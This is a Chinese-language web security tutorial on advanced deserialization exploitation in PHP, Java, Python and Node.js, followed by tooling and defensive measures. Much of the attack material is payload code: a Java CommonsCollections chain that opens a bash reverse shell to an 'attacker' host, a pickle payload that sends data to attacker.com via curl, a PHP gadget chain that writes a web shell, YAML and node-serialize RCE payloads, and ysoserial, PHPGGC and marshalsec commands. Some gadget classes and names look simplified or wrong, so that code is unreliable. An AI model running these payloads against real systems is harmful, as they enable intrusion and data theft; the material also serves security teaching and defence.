Day-070-反序列化漏洞实战进阶

# Day 68: 反序列化漏洞实战进阶

> Web 安全系列第 38 天 | 预计阅读时间：40 分钟 | 难度：★★★★★

---

## 清单 目录

1. [反序列化漏洞进阶概述](#反序列化漏洞进阶概述)
2. [PHP 反序列化高级利用](#php 反序列化高级利用)
3. [Java 反序列化高级利用](#java 反序列化高级利用)
4. [Python 反序列化高级利用](#python 反序列化高级利用)
5. [Node.js 反序列化](#nodejs 反序列化)
6. [反序列化漏洞挖掘](#反序列化漏洞挖掘)
7. [自动化利用工具](#自动化利用工具)
8. [防护策略进阶](#防护策略进阶)
9. [总结与思考](#总结与思考)
10. [参考资料](#参考资料)

---

## 反序列化漏洞进阶概述

### 高级攻击场景

**框架漏洞**：
```
场景：
- Laravel
- Symfony
- ThinkPHP
- Spring

特点：
- 现成 Gadget 链
- 无需自定义代码
- 影响范围广

挑战：
- 版本识别
- Gadget 选择
- 环境适配
```

**供应链攻击**：
```
场景：
- 第三方依赖
- 开源组件
- 商业软件

特点：
- 信任链攻击
- 大规模影响
- 难以检测

挑战：
- 依赖审计
- 签名验证
- 持续监控
```

**云环境利用**：
```
场景：
- Serverless 函数
- 容器环境
- 微服务架构

特点：
- 临时环境
- 自动扩展
- 分布式

挑战：
- 持久化困难
- 权限限制
- 网络隔离
```

### 高级 Gadget 链

**多步利用**：
```
步骤 1: 初始入口
- 反序列化点
- 触发 Gadget

步骤 2: 权限提升
- 利用链延伸
- 权限扩大

步骤 3: 代码执行
- 最终 Gadget
- 命令执行

步骤 4: 持久化
- 后门植入
- 权限维持
```

**跨组件利用**：
```
场景：
- 多个库组合
- 框架 + 依赖
- 微服务间

特点：
- 复杂链构造
- 版本依赖
- 环境要求

挑战：
- Gadget 发现
- 链构造
- 稳定性
```

---

## PHP 反序列化高级利用

### 高级 Gadget 链

**Laravel Gadget**：
```php
<?php
// Laravel 5.4.29 之前
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        
        public function __destruct() {
            $this->events->dispatch($this->event);
        }
    }
}

namespace Illuminate\Events {
    class Dispatcher {
        protected $listeners;
        
        public function dispatch($event) {
            $this->callCustomListener($this->listeners, $event);
        }
        
        protected function callCustomListener($listeners, $event) {
            foreach ($listeners as $listener) {
                $listener[0]($event);
            }
        }
    }
}

// 利用链构造
$dispatcher = new Dispatcher();
$dispatcher->listeners = [['system', 'whoami']];

$broadcast = new PendingBroadcast();
$broadcast->events = $dispatcher;
$broadcast->event = 'test';

echo serialize($broadcast);
?>
```

**Symfony Gadget**：
```php
<?php
// Symfony 组件
namespace Symfony\Component\PropertyAccess {
    class PropertyAccessor {
        private $propertyPath;
        
        public function __destruct() {
            $this->getValue($this->propertyPath);
        }
        
        private function getValue($path) {
            // 复杂逻辑可被利用
        }
    }
}

// 利用链构造
// 需要配合其他组件
// 形成完整利用链
?>
```

**Monolog Gadget**：
```php
<?php
namespace Monolog\Handler {
    class BufferHandler {
        protected $handler;
        protected $bufferSize;
        
        public function __destruct() {
            foreach ($this->buffer as $record) {
                $this->handler->handle($record);
            }
        }
    }
    
    class NativeFileHandler {
        public function handle($record) {
            // 可写入文件
            file_put_contents($record['message']);
        }
    }
}

// 利用链构造
$handler = new NativeFileHandler();
$buffer = new BufferHandler($handler);
$buffer->buffer = [['message' => '<?php system($_GET["c"]); ?>']];

echo serialize($buffer);
?>
```

### 框架特定利用

**ThinkPHP 利用**：
```php
<?php
// ThinkPHP 5.x
namespace think\model\concern {
    trait Conversion {
        protected $append = [];
        
        protected function getAttr($name) {
            // ...
        }
    }
}

namespace think\model {
    use think\model\concern\Conversion;
    
    class Model {
        use Conversion;
        
        protected $data = [];
        protected $withAttr = [];
        
        public function __destruct() {
            foreach ($this->data as $key => $value) {
                $this->getAttr($key);
            }
        }
    }
}

// 利用链构造
// 需要配合特定配置
// 形成完整利用链
?>
```

**CodeIgniter 利用**：
```php
<?php
// CodeIgniter 特定 Gadget
// 需要分析框架代码
// 寻找可利用类和方法

// 利用链构造
// 通常涉及：
// - 输入过滤绕过
// - 文件包含
// - 代码执行
?>
```

---

## Java 反序列化高级利用

### 高级 Gadget 链

**CommonsCollections 进阶**：
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.LazyMap;

// 复杂利用链
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        new Object[] {"bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'"})
};

Transformer chainedTransformer = new ChainedTransformer(transformers);

// 多层包装
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);

// 利用 TieMapEntry
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

// 序列化
// 发送 Payload
```

**Spring 框架利用**：
```java
// Spring AOP Gadget
// 利用 Spring AOP 代理
// 形成利用链

// Spring Security Gadget
// 利用 Security 组件
// 权限提升

// Spring Data Gadget
// 利用数据访问组件
// 数据泄露/篡改
```

**Hibernate 利用**：
```java
// Hibernate Gadget
// 利用 ORM 框架
// 数据库操作

// 利用链：
// 1. 触发反序列化
// 2. Hibernate 会话
// 3. SQL 执行
// 4. 数据操作
```

### 企业级应用利用

**WebLogic 利用**：
```java
// WebLogic 特定 Gadget
// CVE-2015-4852
// CVE-2016-3510
// CVE-2017-3248

// 利用链：
// 1. T3 协议
// 2. 反序列化
// 3. Gadget 链
// 4. 代码执行

// 工具：
// ysoserial
// weblogic-pwn
```

**WebSphere 利用**：
```java
// WebSphere 特定 Gadget
// CVE-2015-7450

// 利用链：
// 1. SOAP 请求
// 2. 反序列化
// 3. Gadget 链
// 4. 代码执行
```

**JBoss 利用**：
```java
// JBoss 特定 Gadget
// CVE-2017-7504

// 利用链：
// 1. HTTP 请求
// 2. InvokerServlet
// 3. 反序列化
// 4. 代码执行
```

---

## Python 反序列化高级利用

### 高级利用技术

**Pickle 高级利用**：
```python
import pickle
import os
import base64

# 多步利用
class MultiStepExploit:
    def __reduce__(self):
        # 第一步：信息收集
        return (os.system, ('whoami > /tmp/output',))

# 无文件攻击
class FilelessExploit:
    def __reduce__(self):
        # 内存执行
        return (exec, ('import os; os.system("whoami")',))

# 网络回调
class NetworkExploit:
    def __reduce__(self):
        # 外带数据
        return (os.system, ('curl http://attacker.com/$(whoami)',))

# 生成 Payload
payload = pickle.dumps(MultiStepExploit())
encoded = base64.b64encode(payload).decode()
```

**YAML 高级利用**：
```python
import yaml

# Python 对象注入
payload = """
!!python/object:subprocess.Popen
args: [['whoami']]
"""

# 方法调用
payload = """
!!python/object/apply:os.system
args: ['whoami']
"""

# 类实例化
payload = """
!!python/object/new:subprocess.Popen
args: [['whoami']]
kwds: {shell: true}
"""

# 执行
yaml.load(payload, Loader=yaml.FullLoader)
```

**JSON 反序列化**：
```python
import json

# 虽然 JSON 本身安全
# 但自定义解码器可能危险

class DangerousDecoder(json.JSONDecoder):
    def decode(self, s):
        obj = super().decode(s)
        # 危险操作
        eval(obj['code'])
        return obj

# 利用
payload = '{"code": "__import__(\\'os\\').system(\\'whoami\\')"}'
json.loads(payload, cls=DangerousDecoder)
```

### 框架特定利用

**Django 利用**：
```python
# Django 特定 Gadget
# 需要分析框架代码
# 寻找可利用类

# 常见利用点：
# - Session 序列化
# - 签名数据
# - 缓存数据
```

**Flask 利用**：
```python
# Flask 特定 Gadget
# Session 序列化
# 需要 SECRET_KEY

# 利用链：
# 1. 获取 SECRET_KEY
# 2. 伪造 Session
# 3. 反序列化
# 4. 代码执行
```

**Celery 利用**：
```python
# Celery 任务序列化
# JSON/Pickle 配置

# 利用链：
# 1. 任务队列
# 2. 反序列化
# 3. 任务执行
# 4. 代码执行
```

---

## Node.js 反序列化

### Node.js 特定漏洞

**prototype 污染**：
```javascript
// 原型污染利用
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

// 利用
let payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
let obj = {};
merge(obj, payload);

console.log({}.isAdmin);  // true
```

**反序列化库漏洞**：
```javascript
// node-serialize 漏洞
// CVE-2017-5941

const serialize = require('node-serialize');

// 恶意 Payload
let payload = {
    rce: function(){
        require('child_process').exec('whoami', function(error, stdout, stderr) {
            console.log(stdout);
        });
    }
};

// 序列化
let serialized = serialize.serialize(payload);

// 反序列化执行
serialize.unserialize(serialized);
```

**JSON 解析漏洞**：
```javascript
// 虽然 JSON.parse 安全
// 但后续处理可能危险

// 危险模式
function dangerousParse(json) {
    let obj = JSON.parse(json);
    
    // 危险操作
    if (obj.code) {
        eval(obj.code);
    }
    
    return obj;
}

// 利用
let payload = '{"code": "require(\'child_process\').exec(\'whoami\')"}';
dangerousParse(payload);
```

### Express 应用利用

**Session 反序列化**：
```javascript
// Express Session
// 如果配置不当可能危险

app.use(session({
    secret: 'secret',
    resave: false,
    saveUninitialized: true,
    cookie: { secure: false }
    // 如果使用不安全序列化
    // 可能被利用
}));
```

**中间件漏洞**：
```javascript
// 某些中间件可能反序列化用户输入
// 需要仔细审查

// 常见危险点：
// - Cookie 解析
// - URL 解析
// - Body 解析
```

---

## 反序列化漏洞挖掘

### 代码审计

**危险函数识别**：
```
PHP:
- unserialize()
- unserialize_callback_func

Java:
- ObjectInputStream.readObject()
- XMLDecoder.readObject()

Python:
- pickle.loads()
- yaml.load()
- marshal.loads()

Node.js:
- node-serialize
- 自定义反序列化
```

**Gadget 链寻找**：
```
步骤 1: 识别入口
- 魔术方法
- 特殊方法
- 回调函数

步骤 2: 寻找链
- 方法调用
- 属性访问
- 对象创建

步骤 3: 验证利用
- 本地测试
- 环境适配
- 稳定性测试
```

### 自动化挖掘

**静态分析**：
```python
# 使用静态分析工具
# 识别危险函数
# 寻找 Gadget 链

# 工具：
# - CodeQL
# - Semgrep
# - 自定义脚本
```

**动态分析**：
```python
# 使用 Fuzzing
# 发送 Payload
# 观察响应

# 工具：
# - Burp Suite
# - 自定义 Fuzzer
# - Gadget 扫描器
```

---

## 自动化利用工具

### PHP 工具

**PHPGGC**：
```bash
# 安装
git clone https://github.com/ambionics/phpggc
cd phpggc

# 查看可用 Gadget
./phpggc -l

# 生成 Payload
./phpggc Laravel/RCE1 'whoami'
./phpggc Symfony/RCE1 'whoami'
./phpggc WordPress/RCE1 'whoami'

# 编码
./phpggc Laravel/RCE1 'whoami' -b base64
```

### Java 工具

**ysoserial**：
```bash
# 安装
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# 查看可用 Gadget
java -jar ysoserial-all.jar

# 生成 Payload
java -jar ysoserial-all.jar CommonsCollections5 'whoami' > payload.bin
java -jar ysoserial-all.jar Spring1 'whoami' > payload.bin
java -jar ysoserial-all.jar Hibernate1 'whoami' > payload.bin
```

**marshalsec**：
```bash
# 安装
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package

# 生成 Payload
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.JdbcRowSetImpl ldap://attacker.com/exploit
```

### Python 工具

**pickle 利用**：
```python
# 自定义脚本
import pickle
import base64

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)
```

---

## 防护策略进阶

### 代码层面防护

**完全避免反序列化**：
```
最佳实践：
- 使用 JSON
- 使用 Protocol Buffers
- 使用安全格式

如果必须使用：
- 严格验证
- 白名单机制
- 签名验证
```

**白名单机制**：
```php
// PHP 7+
unserialize($data, ['allowed_classes' => ['User', 'Product']]);

// 仅允许特定类
// 其他类反序列化失败
```

**签名验证**：
```php
<?php
// 序列化时签名
$data = serialize($object);
$signature = hash_hmac('sha256', $data, $secret);
$stored = $data . '|' . $signature;

// 反序列化时验证
list($data, $signature) = explode('|', $stored, 2);
if (hash_hmac('sha256', $data, $secret) !== $signature) {
    throw new Exception('Invalid signature');
}
$object = unserialize($data);
?>
```

### 运行时防护

**WAF 规则**：
```
检测特征：
- PHP: O:\d+:"
- Java: \xac\xed
- Python: \x80\x0[2-4]

阻断规则：
- 包含序列化数据
- 无合法业务场景
- 来源可疑

告警规则：
- 反序列化失败
- 未知类反序列化
- 频繁反序列化
```

**RASP 防护**：
```
运行时保护：
- 监控反序列化调用
- 检查类白名单
- 阻断可疑操作

优势：
- 实时保护
- 低误报
- 无需代码修改
```

### 框架防护

**Laravel**：
```php
// 使用加密
Crypt::encrypt(serialize($data));
$data = unserialize(Crypt::decrypt($encrypted));

// 或使用 JSON
json_encode($data);
json_decode($data, true);
```

**Spring**：
```java
// 使用 ObjectInputFilter
ObjectInputFilter filter = info -> {
    String className = info.getDescription();
    if (className.startsWith("com.safe.")) {
        return ObjectInputFilter.Status.ALLOWED;
    }
    return ObjectInputFilter.Status.REJECTED;
};
ois.setObjectInputFilter(filter);
```

**Fastjson**：
```java
// 禁用 autoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// 使用白名单
ParserConfig.getGlobalInstance().addAccept("com.safe.");

// 升级到安全版本
```

---

## 总结与思考

### 核心要点回顾

1. **高级利用**
   - 框架 Gadget 链
   - 多步利用
   - 跨组件利用

2. **漏洞挖掘**
   - 代码审计
   - 自动化挖掘
   - Gadget 发现

3. **防护策略**
   - 避免反序列化
   - 白名单机制
   - 运行时防护

### 深入思考问题

1. **无文件攻击**？
   - 内存执行
   - 难以检测
   - 防护挑战

2. **AI 辅助挖掘**？
   - Gadget 发现
   - 链构造
   - 漏洞预测

3. **量子影响**？
   - 加密算法
   - 签名算法
   - 密钥管理

### 实战建议

**开发人员**：
1. 避免反序列化
2. 使用安全格式
3. 验证输入
4. 签名验证

**安全人员**：
1. 代码审计
2. Gadget 挖掘
3. 自动化测试
4. 监控告警

**架构师**：
1. 安全设计
2. 依赖管理
3. 运行时保护
4. 持续改进

---

## 参考资料

### 学习资源
- [OWASP Deserialization](https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data)
- [PHP Deserialization](https://www.owasp.org/index.php/PHP_Object_Injection)
- [Java Deserialization](https://www.owasp.org/index.php/Java_Deserialization_Cheat_Sheet)
- [Python Deserialization](https://docs.python.org/3/library/pickle.html)

### 工具资源
- [PHPGGC](https://github.com/ambionics/phpggc)
- [ysoserial](https://github.com/frohoff/ysoserial)
- [marshalsec](https://github.com/mbechler/marshalsec)
- [Burp Suite](https://portswigger.net/burp)

### 书籍推荐
- 《Java 反序列化漏洞分析与利用》
- 《Web 安全深度剖析》
- 《Deserialization Vulnerabilities》
- 《Advanced Penetration Testing》

### 在线资源
- [PayloadsAllTheThings Deserialization](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Deserialization)
- [HackTricks Deserialization](https://book.hacktricks.xyz/pentesting-web/deserialization)
- [Awesome Deserialization](https://github.com/ambionics/awesome-deserialization)

---

**标记 明日预告**：Day 69 - 业务逻辑漏洞深入

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 68 篇，Web 安全部分第 38 篇，精编版本*